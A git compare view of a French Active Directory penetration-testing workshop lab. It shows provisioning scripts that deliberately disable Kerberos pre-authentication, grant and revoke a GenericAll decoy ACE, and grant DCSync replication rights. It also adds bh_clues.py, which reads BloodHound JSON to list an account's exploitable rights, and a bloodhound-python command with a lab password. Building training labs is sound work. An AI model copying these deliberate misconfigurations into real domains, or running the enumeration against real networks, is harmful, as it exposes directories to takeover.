Compare commits
23
Commits
95d70fa5a4
..
main
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7340e4cd54 | ||
|
|
2c46b78712 | ||
|
|
e30a447662 | ||
|
|
b134cd9737 | ||
|
|
ab96939b20 | ||
|
|
28cf7080ee | ||
|
|
3023525737 | ||
|
|
a9e55469b3 | ||
|
|
6bb7758709 | ||
|
|
e08731bf37 | ||
|
|
b6dff5693c | ||
|
|
30dbefdb1b | ||
|
|
f0f5ffc140 | ||
|
|
37852b3f0b | ||
|
|
06a9034214 | ||
|
|
bcc370d70f | ||
|
|
0189330117 | ||
|
|
4dc27a4208 | ||
|
|
30d806c06c | ||
|
|
59e2594c1e | ||
|
|
df5ce2d497 | ||
|
|
0dbfcc7147 | ||
|
|
ca72e1aa2e |
@@ -118,6 +118,7 @@ pour que `reset` la conserve :
|
|||||||
```bash
|
```bash
|
||||||
sudo mkdir -p /opt/norbourg/wordlists
|
sudo mkdir -p /opt/norbourg/wordlists
|
||||||
sudo mount /dev/sr0 /mnt && sudo cp /mnt/norbourg.txt /opt/norbourg/wordlists/
|
sudo mount /dev/sr0 /mnt && sudo cp /mnt/norbourg.txt /opt/norbourg/wordlists/
|
||||||
|
sudo cp /mnt/bh_clues.py /opt/norbourg/ && sudo chmod +x /opt/norbourg/bh_clues.py
|
||||||
```
|
```
|
||||||
|
|
||||||
Pour ajouter des outils qui ne sont pas dans l'image (Internet requis, donc avant de basculer le
|
Pour ajouter des outils qui ne sont pas dans l'image (Internet requis, donc avant de basculer le
|
||||||
@@ -141,6 +142,9 @@ Les Kali n'ont **pas** Internet : c'est volontaire, le pont n'a aucun port vers
|
|||||||
Tout ce que demande l'atelier est déjà dans l'image, et la liste de mots arrive par l'ISO
|
Tout ce que demande l'atelier est déjà dans l'image, et la liste de mots arrive par l'ISO
|
||||||
d'outils.
|
d'outils.
|
||||||
|
|
||||||
|
`KALI_XRDP=1` (par défaut) installe `xrdp` dans le gabarit pour ceux qui veulent un bureau
|
||||||
|
graphique via un client RDP. `./lab.sh kali rdp` expose un port par siège (3381, 3382…).
|
||||||
|
|
||||||
## Participants
|
## Participants
|
||||||
|
|
||||||
Chaque personne reçoit un compte Proxmox limité à sa propre VM :
|
Chaque personne reçoit un compte Proxmox limité à sa propre VM :
|
||||||
@@ -203,6 +207,7 @@ la mémoire de l'hôte et prévient avant le build.
|
|||||||
| `content/web/` | site assemblé et fichiers pièges |
|
| `content/web/` | site assemblé et fichiers pièges |
|
||||||
| `content/scripts/` | assistants partagés (WinRM, préparation du site, liste de mots) |
|
| `content/scripts/` | assistants partagés (WinRM, préparation du site, liste de mots) |
|
||||||
| `docs/` | documentation de l'atelier, en français |
|
| `docs/` | documentation de l'atelier, en français |
|
||||||
|
| `docs/slides/` | présentation d'introduction et de débriefing (`.pptx` + script de génération) |
|
||||||
| `answers/` | solution complète — **ignoré par git** |
|
| `answers/` | solution complète — **ignoré par git** |
|
||||||
| `build-bundle.sh` | fabrique une archive autonome par plateforme |
|
| `build-bundle.sh` | fabrique une archive autonome par plateforme |
|
||||||
|
|
||||||
|
|||||||
@@ -116,6 +116,41 @@ _start_lab() {
|
|||||||
backend_launch "$name" run || { fail "$name did not start"; return 1; }
|
backend_launch "$name" run || { fail "$name did not start"; return 1; }
|
||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
|
|
||||||
|
# Return only once every guest answers: running `doctor` the instant `up`
|
||||||
|
# printed its last line used to report false failures during boot.
|
||||||
|
step "wait for the guests"
|
||||||
|
local notready=0
|
||||||
|
for name in "${VM_NAMES[@]}"; do
|
||||||
|
if backend_ready "$name" 300; then
|
||||||
|
ok "$(printf '%-6s ready' "$name")"
|
||||||
|
else
|
||||||
|
warn "$name did not answer in time"
|
||||||
|
notready=1
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
if (( notready )); then
|
||||||
|
warn "skipping the directory check: not every guest answered"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# WinRM answers before the directory does. A doctor run right after up saw
|
||||||
|
# "stable path missing" and "replication rights missing" on a healthy lab
|
||||||
|
# because the DC was still starting AD.
|
||||||
|
if ! vm_index dc01 >/dev/null 2>&1; then
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
step "wait for the domain"
|
||||||
|
local deadline=$(( SECONDS + 240 ))
|
||||||
|
while (( SECONDS < deadline )); do
|
||||||
|
if backend_ps dc01 'Import-Module ActiveDirectory; (Get-ADDomain).DNSRoot' >/dev/null 2>&1; then
|
||||||
|
ok "directory services answer"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
sleep 5
|
||||||
|
done
|
||||||
|
warn "the domain did not answer in time — check with ./lab.sh doctor"
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
cmd_up() {
|
cmd_up() {
|
||||||
|
|||||||
@@ -74,6 +74,13 @@ cmd_doctor() {
|
|||||||
_d_fail "site not answering (${code:-timeout}) — ./lab.sh web --sync"
|
_d_fail "site not answering (${code:-timeout}) — ./lab.sh web --sync"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://10.10.10.10/" 2>/dev/null || true)
|
||||||
|
if [[ $code == 200 ]]; then
|
||||||
|
_d_ok "site answers on the domain name (http://norbourg.lab)"
|
||||||
|
else
|
||||||
|
_d_warn "http://norbourg.lab does not answer (${code:-timeout}) — re-run provision --role dc01"
|
||||||
|
fi
|
||||||
|
|
||||||
code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://10.10.10.20/public/IT-inventaire.txt" 2>/dev/null || true)
|
code=$(curl -s -o /dev/null -w '%{http_code}' --max-time 5 "http://10.10.10.20/public/IT-inventaire.txt" 2>/dev/null || true)
|
||||||
if [[ $code == 200 ]]; then
|
if [[ $code == 200 ]]; then
|
||||||
_d_ok "entry point reachable: /public/IT-inventaire.txt"
|
_d_ok "entry point reachable: /public/IT-inventaire.txt"
|
||||||
@@ -119,7 +126,8 @@ $plainAcl = Get-Acl ("AD:\" + (Get-ADUser m.legault).DistinguishedName)
|
|||||||
"mcount=" + (Get-ADUser m.legault -Properties adminCount).adminCount
|
"mcount=" + (Get-ADUser m.legault -Properties adminCount).adminCount
|
||||||
"repl=" + @((dsacls.exe $base | Select-String "Sauvegarde-AD")).Count
|
"repl=" + @((dsacls.exe $base | Select-String "Sauvegarde-AD")).Count
|
||||||
"share=" + ((Get-SmbShare -Name "Sauvegarde$" -ErrorAction SilentlyContinue) -ne $null)
|
"share=" + ((Get-SmbShare -Name "Sauvegarde$" -ErrorAction SilentlyContinue) -ne $null)
|
||||||
"root=" + (Test-Path C:\Sauvegarde\root.txt)
|
"root=" + (Test-Path C:\flag\root.txt)
|
||||||
|
"oldflag=" + (Test-Path C:\Sauvegarde\root.txt)
|
||||||
"spn=" + @((Get-ADUser svc_backup -Properties ServicePrincipalNames).ServicePrincipalNames).Count
|
"spn=" + @((Get-ADUser svc_backup -Properties ServicePrincipalNames).ServicePrincipalNames).Count
|
||||||
"preauth=" + (Get-ADUser j.contractor -Properties DoesNotRequirePreAuth).DoesNotRequirePreAuth
|
"preauth=" + (Get-ADUser j.contractor -Properties DoesNotRequirePreAuth).DoesNotRequirePreAuth
|
||||||
"minage=" + (Get-ADDefaultDomainPasswordPolicy).MinPasswordAge.TotalHours
|
"minage=" + (Get-ADDefaultDomainPasswordPolicy).MinPasswordAge.TotalHours
|
||||||
@@ -131,8 +139,8 @@ $plainAcl = Get-Acl ("AD:\" + (Get-ADUser m.legault).DistinguishedName)
|
|||||||
while IFS='=' read -r key value; do
|
while IFS='=' read -r key value; do
|
||||||
value=${value//$'\r'/}
|
value=${value//$'\r'/}
|
||||||
case $key in
|
case $key in
|
||||||
ace) if [[ $value -ge 1 ]]; then _d_ok "delegated right: svc_backup has an ACE on t.smith (decoy)"
|
ace) if [[ $value -ge 1 ]]; then _d_fail "decoy ACE still on t.smith — a Domain Admin shortcut until SDProp runs"
|
||||||
else _d_warn "decoy ACE on t.smith reverted by SDProp (expected)"; fi ;;
|
else _d_ok "decoy ACE absent on t.smith (protected object, as designed)"; fi ;;
|
||||||
ace_plain) if [[ $value -ge 1 ]]; then _d_ok "stable path: svc_backup has an ACE on m.legault"
|
ace_plain) if [[ $value -ge 1 ]]; then _d_ok "stable path: svc_backup has an ACE on m.legault"
|
||||||
else _d_fail "stable path missing (ACE on m.legault)"; fi ;;
|
else _d_fail "stable path missing (ACE on m.legault)"; fi ;;
|
||||||
plain_enabled) if [[ $value == True ]]; then _d_ok "m.legault account enabled"
|
plain_enabled) if [[ $value == True ]]; then _d_ok "m.legault account enabled"
|
||||||
@@ -141,10 +149,12 @@ $plainAcl = Get-Acl ("AD:\" + (Get-ADUser m.legault).DistinguishedName)
|
|||||||
else _d_fail "adminCount=$value: m.legault is protected, SDProp will wipe the ACE"; fi ;;
|
else _d_fail "adminCount=$value: m.legault is protected, SDProp will wipe the ACE"; fi ;;
|
||||||
repl) if [[ $value -ge 2 ]]; then _d_ok "Sauvegarde-AD holds replication rights (DCSync)"
|
repl) if [[ $value -ge 2 ]]; then _d_ok "Sauvegarde-AD holds replication rights (DCSync)"
|
||||||
else _d_fail "replication rights missing on Sauvegarde-AD"; fi ;;
|
else _d_fail "replication rights missing on Sauvegarde-AD"; fi ;;
|
||||||
share) if [[ $value == True ]]; then _d_ok "backup share with the flag"
|
share) if [[ $value == True ]]; then _d_ok "backup share present (Sauvegarde$)"
|
||||||
else _d_fail "Sauvegarde\$ share missing"; fi ;;
|
else _d_fail "Sauvegarde\$ share missing"; fi ;;
|
||||||
root) if [[ $value == True ]]; then _d_ok "root.txt reachable through the backup share"
|
root) if [[ $value == True ]]; then _d_ok "root.txt in C:\flag (administrators only)"
|
||||||
else _d_fail "root.txt missing"; fi ;;
|
else _d_fail "root.txt missing from C:\flag"; fi ;;
|
||||||
|
oldflag) if [[ $value == True ]]; then _d_fail "root.txt still readable on the backup share"
|
||||||
|
else _d_ok "flag not exposed on the backup share"; fi ;;
|
||||||
spn) if [[ $value -ge 1 ]]; then _d_ok "service account: SPN present"
|
spn) if [[ $value -ge 1 ]]; then _d_ok "service account: SPN present"
|
||||||
else _d_fail "svc_backup has no SPN"; fi ;;
|
else _d_fail "svc_backup has no SPN"; fi ;;
|
||||||
preauth) if [[ $value == True ]]; then _d_ok "pre-auth disabled on j.contractor"
|
preauth) if [[ $value == True ]]; then _d_ok "pre-auth disabled on j.contractor"
|
||||||
|
|||||||
@@ -23,18 +23,23 @@ _kali_build_tools() {
|
|||||||
|
|
||||||
mkdir -p "$(dirname "$iso")"
|
mkdir -p "$(dirname "$iso")"
|
||||||
cp "$CONTENT_DIR/scripts/wordlists/norbourg.txt" "$dir/"
|
cp "$CONTENT_DIR/scripts/wordlists/norbourg.txt" "$dir/"
|
||||||
|
cp "$CONTENT_DIR/scripts/bh_clues.py" "$dir/"
|
||||||
cat > "$dir/README.txt" <<'EOF'
|
cat > "$dir/README.txt" <<'EOF'
|
||||||
Outils de l'atelier Norbourg
|
Outils de l'atelier Norbourg
|
||||||
============================
|
============================
|
||||||
|
|
||||||
norbourg.txt : liste de mots ciblee (1716 entrees), dimensionnee pour que le
|
norbourg.txt : liste de mots ciblee (1716 entrees), dimensionnee pour que le
|
||||||
cassage prenne quelques secondes.
|
cassage prenne quelques secondes.
|
||||||
|
bh_clues.py : lit les JSON de bloodhound-python et imprime les droits
|
||||||
|
exploitables d'un compte (outil concu pour ce laboratoire).
|
||||||
|
|
||||||
Installation dans Kali :
|
Installation dans Kali :
|
||||||
|
|
||||||
sudo mkdir -p /opt/norbourg/wordlists
|
sudo mkdir -p /opt/norbourg/wordlists
|
||||||
sudo cp /media/cdrom/norbourg.txt /opt/norbourg/wordlists/
|
sudo cp /media/cdrom/norbourg.txt /opt/norbourg/wordlists/
|
||||||
sudo chmod 644 /opt/norbourg/wordlists/norbourg.txt
|
sudo chmod 644 /opt/norbourg/wordlists/norbourg.txt
|
||||||
|
sudo cp /media/cdrom/bh_clues.py /opt/norbourg/
|
||||||
|
sudo chmod +x /opt/norbourg/bh_clues.py
|
||||||
EOF
|
EOF
|
||||||
if have_cmd genisoimage; then
|
if have_cmd genisoimage; then
|
||||||
genisoimage -quiet -volid NORBOURG_TOOLS -J -R -o "$iso" "$dir"
|
genisoimage -quiet -volid NORBOURG_TOOLS -J -R -o "$iso" "$dir"
|
||||||
|
|||||||
Executable
+181
@@ -0,0 +1,181 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""bh_clues.py — BloodHound JSON reader for the Norbourg workshop lab.
|
||||||
|
|
||||||
|
bloodhound-python writes JSON for the BloodHound GUI, so a terminal user
|
||||||
|
sees a successful collection and nothing else. This script answers the
|
||||||
|
question a participant actually has: for one account, what can it touch?
|
||||||
|
|
||||||
|
It prints:
|
||||||
|
* the account's SPNs and groups (including nested groups),
|
||||||
|
* non-inherited ACEs held by the account or one of its groups,
|
||||||
|
* local AdminTo / PSRemote / CanRDP / CanDCOM edges,
|
||||||
|
and collapses GetChanges + GetChangesAll into a single DCSync line.
|
||||||
|
|
||||||
|
Written for the Norbourg lab (norbourg.lab). It only reads the JSON files
|
||||||
|
produced by the collector; it never talks to the network.
|
||||||
|
|
||||||
|
Typical use:
|
||||||
|
|
||||||
|
bloodhound-python -d norbourg.lab -u svc_backup -p 'Backup2023!' \
|
||||||
|
-ns 10.10.10.10 -c All
|
||||||
|
python3 bh_clues.py svc_backup
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import glob
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
|
||||||
|
INTERESTING = {
|
||||||
|
"GenericAll", "GenericWrite", "WriteDacl", "WriteOwner", "Owns",
|
||||||
|
"ForceChangePassword", "AddMember", "AddSelf", "AllExtendedRights",
|
||||||
|
"DCSync", "AddKeyCredentialLink", "ReadLAPSPassword",
|
||||||
|
"GetChanges", "GetChangesAll", "GetChangesInFilteredSet",
|
||||||
|
}
|
||||||
|
|
||||||
|
LOCAL = (("LocalAdmins", "AdminTo"), ("PSRemoteUsers", "PSRemote"),
|
||||||
|
("RemoteDesktopUsers", "CanRDP"), ("DcomUsers", "CanDCOM"))
|
||||||
|
|
||||||
|
|
||||||
|
def load(directory: str, suffix: str) -> list[dict]:
|
||||||
|
files = sorted(glob.glob(os.path.join(directory, f"*_{suffix}.json")))
|
||||||
|
if not files:
|
||||||
|
return []
|
||||||
|
with open(files[-1], encoding="utf-8") as fh:
|
||||||
|
return json.load(fh).get("data", [])
|
||||||
|
|
||||||
|
|
||||||
|
def short(obj: dict) -> str:
|
||||||
|
props = obj.get("Properties", {})
|
||||||
|
name = (props.get("name") or "").split("@")[0]
|
||||||
|
sam = props.get("samaccountname")
|
||||||
|
return f"{name} ({sam})" if sam else name
|
||||||
|
|
||||||
|
|
||||||
|
def parse_args(argv: list[str]) -> argparse.Namespace:
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
prog="bh_clues.py",
|
||||||
|
description=(
|
||||||
|
"Print the BloodHound edges of one account from the collector's JSON. "
|
||||||
|
"Built for the Norbourg workshop lab (norbourg.lab); it reads files only, "
|
||||||
|
"no network access."
|
||||||
|
),
|
||||||
|
epilog=(
|
||||||
|
"examples:\n"
|
||||||
|
" bloodhound-python -d norbourg.lab -u svc_backup -p 'Backup2023!' "
|
||||||
|
"-ns 10.10.10.10 -c All\n"
|
||||||
|
" python3 bh_clues.py svc_backup\n"
|
||||||
|
" python3 bh_clues.py svc_backup /tmp/collection\n"
|
||||||
|
),
|
||||||
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"account",
|
||||||
|
help="sAMAccountName to inspect (for example svc_backup or m.legault)",
|
||||||
|
)
|
||||||
|
parser.add_argument(
|
||||||
|
"directory",
|
||||||
|
nargs="?",
|
||||||
|
default=".",
|
||||||
|
help="directory holding the *_users.json files (default: current directory)",
|
||||||
|
)
|
||||||
|
return parser.parse_args(argv)
|
||||||
|
|
||||||
|
|
||||||
|
def main(argv: list[str] | None = None) -> int:
|
||||||
|
args = parse_args(sys.argv[1:] if argv is None else argv)
|
||||||
|
who = args.account.lower()
|
||||||
|
directory = args.directory
|
||||||
|
|
||||||
|
users = load(directory, "users")
|
||||||
|
groups = load(directory, "groups")
|
||||||
|
computers = load(directory, "computers")
|
||||||
|
extra = load(directory, "domains") + load(directory, "ous") + load(directory, "containers")
|
||||||
|
|
||||||
|
if not users:
|
||||||
|
print(
|
||||||
|
f"no *_users.json in {directory!r} — run bloodhound-python there first",
|
||||||
|
file=sys.stderr,
|
||||||
|
)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
target = next(
|
||||||
|
(u for u in users
|
||||||
|
if (u.get("Properties", {}).get("samaccountname") or "").lower() == who
|
||||||
|
or (u.get("Properties", {}).get("name") or "").split("@")[0].lower() == who),
|
||||||
|
None,
|
||||||
|
)
|
||||||
|
if not target:
|
||||||
|
print(
|
||||||
|
f"account not found in this collection: {args.account}\n"
|
||||||
|
"check the spelling, or collect again with -c All",
|
||||||
|
file=sys.stderr,
|
||||||
|
)
|
||||||
|
return 1
|
||||||
|
|
||||||
|
sid = target["ObjectIdentifier"]
|
||||||
|
principals = {sid}
|
||||||
|
changed = True
|
||||||
|
while changed:
|
||||||
|
changed = False
|
||||||
|
for group in groups:
|
||||||
|
gid = group["ObjectIdentifier"]
|
||||||
|
if gid in principals:
|
||||||
|
continue
|
||||||
|
members = group.get("Members") or []
|
||||||
|
if any(m.get("ObjectIdentifier") in principals for m in members):
|
||||||
|
principals.add(gid)
|
||||||
|
changed = True
|
||||||
|
|
||||||
|
print("\n# bh_clues.py — Norbourg lab (norbourg.lab)")
|
||||||
|
print(f"# collection: {directory}")
|
||||||
|
print(f"\n{short(target)}")
|
||||||
|
for spn in target.get("Properties", {}).get("serviceprincipalnames") or []:
|
||||||
|
print(f" SPN {spn}")
|
||||||
|
for group in groups:
|
||||||
|
if group["ObjectIdentifier"] in principals and group["ObjectIdentifier"] != sid:
|
||||||
|
print(f" MemberOf {short(group)}")
|
||||||
|
|
||||||
|
rows: list[tuple[str, str]] = []
|
||||||
|
for obj in users + groups + computers + extra:
|
||||||
|
for ace in obj.get("Aces") or []:
|
||||||
|
if ace.get("IsInherited"):
|
||||||
|
continue
|
||||||
|
if ace.get("PrincipalSID") not in principals:
|
||||||
|
continue
|
||||||
|
right = ace.get("RightName")
|
||||||
|
if right not in INTERESTING:
|
||||||
|
continue
|
||||||
|
rows.append((right, short(obj)))
|
||||||
|
|
||||||
|
# The GUI shows a single DCSync edge; the JSON carries the two rights.
|
||||||
|
for target_name in {t for r, t in rows if r in ("GetChanges", "GetChangesAll")}:
|
||||||
|
rights = {r for r, t in rows if t == target_name and r in ("GetChanges", "GetChangesAll")}
|
||||||
|
if {"GetChanges", "GetChangesAll"} <= rights:
|
||||||
|
rows = [(r, t) for r, t in rows
|
||||||
|
if not (t == target_name and r in ("GetChanges", "GetChangesAll"))]
|
||||||
|
rows.append(("DCSync", target_name))
|
||||||
|
|
||||||
|
found = len(rows)
|
||||||
|
for right, name in sorted(rows):
|
||||||
|
print(f" {right:<18} -> {name}")
|
||||||
|
|
||||||
|
for computer in computers:
|
||||||
|
for key, label in LOCAL:
|
||||||
|
results = (computer.get(key) or {}).get("Results") or []
|
||||||
|
if any(r.get("ObjectIdentifier") in principals for r in results):
|
||||||
|
print(f" {label:<18} -> {short(computer)}")
|
||||||
|
found += 1
|
||||||
|
|
||||||
|
if not found:
|
||||||
|
print(" (no exploitable edge — this account is a dead end)")
|
||||||
|
|
||||||
|
print()
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -64,13 +64,46 @@ if (-not (Get-NetFirewallRule -DisplayName 'Norbourg ICMPv4' -ErrorAction Silent
|
|||||||
# virtio-win is attached as a CD on that platform; on qemu it is absent and
|
# virtio-win is attached as a CD on that platform; on qemu it is absent and
|
||||||
# this block does nothing.
|
# this block does nothing.
|
||||||
try {
|
try {
|
||||||
$virtio = Get-Volume -ErrorAction SilentlyContinue |
|
# Find the virtio CD by its content, not by volume label: the label is
|
||||||
Where-Object { $_.FileSystemLabel -like 'virtio-win*' -and $_.DriveLetter } |
|
# not reliable across images and an empty one silently skipped the whole
|
||||||
Select-Object -First 1
|
# block (no driver, no agent, no provisioning).
|
||||||
if ($virtio) {
|
$virtioRoot = $null
|
||||||
$msi = "$($virtio.DriveLetter):\guest-agent\qemu-ga-x86_64.msi"
|
foreach ($drv in (Get-PSDrive -PSProvider FileSystem -ErrorAction SilentlyContinue)) {
|
||||||
|
if (Test-Path "$($drv.Root)guest-agent\qemu-ga-x86_64.msi") {
|
||||||
|
$virtioRoot = $drv.Root
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($virtioRoot) {
|
||||||
|
# The agent MSI does not install the VirtIO serial driver. Without it
|
||||||
|
# the service starts but never connects to the channel, and Proxmox
|
||||||
|
# shows "guest agent is not running", which blocks provisioning.
|
||||||
|
# Pick the driver for this Windows build first (2k12 first in the
|
||||||
|
# directory made pnputil reject it on Server 2022), then fall back to
|
||||||
|
# the other amd64 builds until one reports success.
|
||||||
|
$build = [Environment]::OSVersion.Version.Build
|
||||||
|
$pref = '2k12'
|
||||||
|
if ($build -ge 26100) { $pref = '2k25' } elseif ($build -ge 20348) { $pref = '2k22' } elseif ($build -ge 17763) { $pref = '2k19' } elseif ($build -ge 14393) { $pref = '2k16' }
|
||||||
|
$candidates = @($pref, '2k25', '2k22', 'w11', '2k19', '2k16', '2k12') |
|
||||||
|
Select-Object -Unique
|
||||||
|
$driverOk = $false
|
||||||
|
foreach ($v in $candidates) {
|
||||||
|
$inf = Join-Path $virtioRoot "vioserial\$v\amd64\vioser.inf"
|
||||||
|
if (-not (Test-Path $inf)) { continue }
|
||||||
|
$null = pnputil.exe /add-driver $inf /install
|
||||||
|
Write-Host "bootstrap: vioser $v exit=$LASTEXITCODE"
|
||||||
|
if ($LASTEXITCODE -eq 0) { $driverOk = $true; break }
|
||||||
|
}
|
||||||
|
if (-not $driverOk) {
|
||||||
|
Write-Host 'bootstrap: no vioser driver could be installed'
|
||||||
|
}
|
||||||
|
|
||||||
|
$msi = "$($virtioRoot)guest-agent\qemu-ga-x86_64.msi"
|
||||||
if (Test-Path $msi) {
|
if (Test-Path $msi) {
|
||||||
Start-Process msiexec.exe -ArgumentList "/i `"$msi`" /qn /norestart" -Wait
|
$proc = Start-Process msiexec.exe -ArgumentList "/i `"$msi`" /qn /norestart" -Wait -PassThru
|
||||||
|
Write-Host "bootstrap: qemu-ga msi exit=$($proc.ExitCode)"
|
||||||
|
Set-Service -Name QEMU-GA -StartupType Automatic -ErrorAction SilentlyContinue
|
||||||
|
Start-Service -Name QEMU-GA -ErrorAction SilentlyContinue
|
||||||
Write-Host 'bootstrap: qemu guest agent installed'
|
Write-Host 'bootstrap: qemu guest agent installed'
|
||||||
} else {
|
} else {
|
||||||
Write-Host 'bootstrap: virtio-win mounted but qemu-ga msi not found'
|
Write-Host 'bootstrap: virtio-win mounted but qemu-ga msi not found'
|
||||||
@@ -98,10 +131,13 @@ try {
|
|||||||
Set-Content -Path "$base\stamp.txt" -Encoding ascii
|
Set-Content -Path "$base\stamp.txt" -Encoding ascii
|
||||||
|
|
||||||
# ------------------------------------------------------------------ role
|
# ------------------------------------------------------------------ role
|
||||||
|
# The role stages are driven by the host (`./lab.sh provision`), which orders
|
||||||
|
# them: the DC must be promoted before a member tries to join. Running them
|
||||||
|
# here as well made every guest race the harness — fs01 joined before the
|
||||||
|
# domain existed, and dc01 ran two promotions at once.
|
||||||
$role = Join-Path $here "roles\$($Config.Role).ps1"
|
$role = Join-Path $here "roles\$($Config.Role).ps1"
|
||||||
if (Test-Path $role) {
|
if (Test-Path $role) {
|
||||||
Write-Host "bootstrap: running role $($Config.Role)"
|
Write-Host "bootstrap: role $($Config.Role) staged, waiting for ./lab.sh provision"
|
||||||
& $role
|
|
||||||
} else {
|
} else {
|
||||||
Write-Host "bootstrap: no role script for '$($Config.Role)' yet (phase 5)"
|
Write-Host "bootstrap: no role script for '$($Config.Role)' yet (phase 5)"
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -27,6 +27,29 @@ function Fail-Stage {
|
|||||||
throw $Message
|
throw $Message
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# A stage can be started twice: the harness schedules it, and a retried
|
||||||
|
# transport call or a manual run can schedule it again. Two concurrent
|
||||||
|
# Install-ADDSForest calls fight over the same promotion and one of them
|
||||||
|
# writes FAIL, which stops a provisioning that actually worked.
|
||||||
|
function Enter-StageLock {
|
||||||
|
param([string]$Path)
|
||||||
|
$lock = "$Path.lock"
|
||||||
|
if (Test-Path $lock) {
|
||||||
|
$owner = Get-Content $lock -ErrorAction SilentlyContinue
|
||||||
|
if ($owner -and (Get-Process -Id ([int]$owner) -ErrorAction SilentlyContinue)) {
|
||||||
|
return $false
|
||||||
|
}
|
||||||
|
# The owner is gone (reboot, crash): the lock is stale.
|
||||||
|
}
|
||||||
|
Set-Content -Path $lock -Value $PID -Encoding ascii
|
||||||
|
return $true
|
||||||
|
}
|
||||||
|
|
||||||
|
function Exit-StageLock {
|
||||||
|
param([string]$Path)
|
||||||
|
Remove-Item "$Path.lock" -Force -ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
function Wait-ForDomain {
|
function Wait-ForDomain {
|
||||||
param([int]$TimeoutSeconds = 600)
|
param([int]$TimeoutSeconds = 600)
|
||||||
$deadline = (Get-Date).AddSeconds($TimeoutSeconds)
|
$deadline = (Get-Date).AddSeconds($TimeoutSeconds)
|
||||||
|
|||||||
@@ -4,6 +4,10 @@
|
|||||||
. "$PSScriptRoot\..\lib\common.ps1"
|
. "$PSScriptRoot\..\lib\common.ps1"
|
||||||
|
|
||||||
$self = $PSCommandPath
|
$self = $PSCommandPath
|
||||||
|
if (-not (Enter-StageLock $self)) {
|
||||||
|
Write-LabLog 'stage already running on this guest; duplicate start ignored'
|
||||||
|
return
|
||||||
|
}
|
||||||
Write-LabLog 'dc01: post stage starting'
|
Write-LabLog 'dc01: post stage starting'
|
||||||
|
|
||||||
try {
|
try {
|
||||||
@@ -62,7 +66,6 @@ try {
|
|||||||
$groups = @{
|
$groups = @{
|
||||||
'TI-Support' = @('s.bergeron', 'helpdesk1')
|
'TI-Support' = @('s.bergeron', 'helpdesk1')
|
||||||
'WS Admins' = @('svc_backup')
|
'WS Admins' = @('svc_backup')
|
||||||
'Serveurs-Admins' = @('m.legault')
|
|
||||||
'Sauvegarde-AD' = @('m.legault')
|
'Sauvegarde-AD' = @('m.legault')
|
||||||
}
|
}
|
||||||
foreach ($name in $groups.Keys) {
|
foreach ($name in $groups.Keys) {
|
||||||
@@ -88,17 +91,17 @@ try {
|
|||||||
Set-ADAccountControl -Identity 'j.contractor' -DoesNotRequirePreAuth $true
|
Set-ADAccountControl -Identity 'j.contractor' -DoesNotRequirePreAuth $true
|
||||||
Write-LabLog 'dc01: pre-auth disabled on j.contractor'
|
Write-LabLog 'dc01: pre-auth disabled on j.contractor'
|
||||||
|
|
||||||
# ACL abuse: svc_backup has GenericAll on a Domain Admin.
|
# ACL abuse: svc_backup has GenericAll on a Domain Admin. SDProp resets a
|
||||||
|
# protected object's ACL within the hour, so the lab grants the ACE and
|
||||||
|
# revokes it immediately: a participant who finds it in the first hour
|
||||||
|
# could reset a Domain Admin's password and skip the intended path.
|
||||||
# dsacls is used instead of the .NET ACL API, which returns success but
|
# dsacls is used instead of the .NET ACL API, which returns success but
|
||||||
# does not persist the ACE through the AD provider.
|
# does not persist the ACE through the AD provider.
|
||||||
$targetDn = (Get-ADUser 't.smith').DistinguishedName
|
$targetDn = (Get-ADUser 't.smith').DistinguishedName
|
||||||
$aclCheck = dsacls.exe $targetDn | Select-String 'svc_backup'
|
|
||||||
if (-not $aclCheck) {
|
|
||||||
$null = dsacls.exe $targetDn /G '@@NETBIOS@@\svc_backup:GA'
|
$null = dsacls.exe $targetDn /G '@@NETBIOS@@\svc_backup:GA'
|
||||||
Write-LabLog 'dc01: GenericAll granted to svc_backup over t.smith'
|
Write-LabLog 'dc01: GenericAll granted to svc_backup over t.smith (decoy)'
|
||||||
} else {
|
$null = dsacls.exe $targetDn /R '@@NETBIOS@@\svc_backup'
|
||||||
Write-LabLog 'dc01: svc_backup already has an ACE on t.smith'
|
Write-LabLog 'dc01: decoy ACE on t.smith revoked (SDProp would do it within the hour)'
|
||||||
}
|
|
||||||
|
|
||||||
# The backup product needs directory replication rights for AD-aware
|
# The backup product needs directory replication rights for AD-aware
|
||||||
# backups. That is what makes m.legault reach the DC without being in a
|
# backups. That is what makes m.legault reach the DC without being in a
|
||||||
@@ -106,8 +109,22 @@ try {
|
|||||||
$svcGroup = Get-ADGroup 'Sauvegarde-AD'
|
$svcGroup = Get-ADGroup 'Sauvegarde-AD'
|
||||||
$domainAcl = [ADSI]("LDAP://$base")
|
$domainAcl = [ADSI]("LDAP://$base")
|
||||||
$sd = $domainAcl.ObjectSecurity
|
$sd = $domainAcl.ObjectSecurity
|
||||||
foreach ($rightGuid in @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2',
|
$rightGuids = @('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2',
|
||||||
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')) {
|
'1131f6ad-9c07-11d1-f79f-00c04fc2dcd2')
|
||||||
